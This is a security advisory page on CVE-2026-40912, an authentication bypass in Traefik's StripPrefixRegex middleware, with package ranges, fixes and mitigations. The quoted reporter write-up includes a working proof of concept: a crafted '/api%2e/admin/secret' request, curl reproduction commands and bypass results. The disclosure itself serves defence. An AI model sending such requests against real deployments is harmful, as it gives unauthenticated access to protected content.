How severe is CVE-2026-40912?

No CVSS score has been assigned to CVE-2026-40912 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-40912?

CVE-2026-40912 affects the following packages: github.com/traefik/traefik/v3 (Go), github.com/traefik/traefik/v3 (Go), github.com/traefik/traefik/v2 (Go), github.com/traefik/traefik (Go). Ecosystems affected: Go.

How do I fix CVE-2026-40912?

Update github.com/traefik/traefik/v3 to 3.7.0-rc.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40912 is resolved across your whole dependency graph.

How do I detect CVE-2026-40912 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-40912 if there is no patch (or I can't update yet)?

Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Is CVE-2026-40912 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-40912 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-40912?

CVE-2026-40912 has an EPSS (Exploit Prediction Scoring System) score of 0.8%, placing it in the 56th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-40912?

CVE-2026-40912 is classified as CWE-706 (CWE-706), Path Traversal (CWE-22). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-40912 published, and has it been updated?

CVE-2026-40912 was published on April 30, 2026 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

CVE-2026-40912 — traefik

CVE-2026-40912 is a CWE-706 vulnerability in github.com/traefik/traefik/v3. A fix is available for github.com/traefik/traefik/v3 — see the affected versions and patch details below.

Traefik: StripPrefixRegex auth bypass via Path/RawPath desync

Also known asGHSA-6jwx-7vp4-9847GO-2026-5180

Published

Apr 30, 2026

Updated

Oct 28, 2026

Affected

4 pkgs

Patched

3 / 4

Exploits

None indexed

Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40912.

EPSS Exploitation Probability

via FIRST.org ↗

0.8%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs56th percentile — riskier than 56% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

4 pkgs affected

🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v2🐹github.com/traefik/traefik

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.

Details

pkg/middlewares/stripprefixregex/strip_prefix_regex.go, line 62:

req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present.

Example with regex ^/api:

GET /api%20/admin/secret
Decoded Path: /api /admin/secret -> prefix = /api (4 bytes)
Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes
RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret
ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/* -> allows it
Backend serves the protected admin content

PoC

Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful.

Impact

Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL.

Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret
-> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret
-> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows
-> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret      -> 403 (blocked)
GET /api%2e/admin/secret   -> 200 (bypass — served protected content)
GET /api%20/admin/secret   -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret'    -> DENIED
X-Forwarded-Uri: '/./admin/secret'  -> ALLOWED

Reproduction:

docker compose up -d --build --wait
curl http://localhost:8080/api/admin/secret                       # -> 403
curl --path-as-is "http://localhost:8080/api%2e/admin/secret"     # -> 200

</details>

Affected Packages

4 total 3 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/traefik/traefik/v3`	≥ 3.7.0-ea.1&&< 3.7.0-rc.2	3.7.0-rc.2`go get github.com/traefik/traefik/v3@v3.7.0-rc.2`
🐹Go	`github.com/traefik/traefik/v3`	≥ 3.0.0-beta1&&< 3.6.14	3.6.14`go get github.com/traefik/traefik/v3@v3.6.14`
🐹Go	`github.com/traefik/traefik/v2`	all versions	2.11.43`go get github.com/traefik/traefik/v2@v2.11.43`
🐹Go	`github.com/traefik/traefik`	all versions	No fix

Affected Products

1 product · 6 configurations

Application

traefiktraefik

≥ 3.0.0 && < 3.6.14

1 version

3.7.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/traefik/traefik/v3 to 3.7.0-rc.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40912 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

Workaround published by Red Hat

Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.

Source: Red Hat security advisory for CVE-2026-40912 (CC BY 4.0)

Product	Fixed in	Advisory
Red Hat OpenShift Dev Spaces 3.28	`devspaces/traefik-rhel9:1779786779`	RHSA-2026:21772

Frequently Asked Questions

## Summary There is a high severity authentication bypass vulnerability in Traefik's `StripPrefixRegex` middleware when used in combination with `ForwardAuth`, `BasicAuth`, or `DigestAuth`. The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. `/./admin/secret`). `ForwardAuth` receives this dot-segment path in `X-Forwarded-Uri`, which does not match the protected path patterns and th

O3 Security · Impact-Aware SCA

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CVE-2026-40912 — traefik

Exploitation Status

No confirmed exploitation observed yet

EPSS Exploitation Probability

Real-World Exposure

Description

Summary

Patches

For more information

Summary

Details

Updated PoC (reporter follow-up)

Affected Packages

Affected Products

Detection & mitigation playbook

Detect

Fix

Workarounds

Fixing This On Your OS

Frequently Asked Questions

Is CVE-2026-40912 in your dependencies?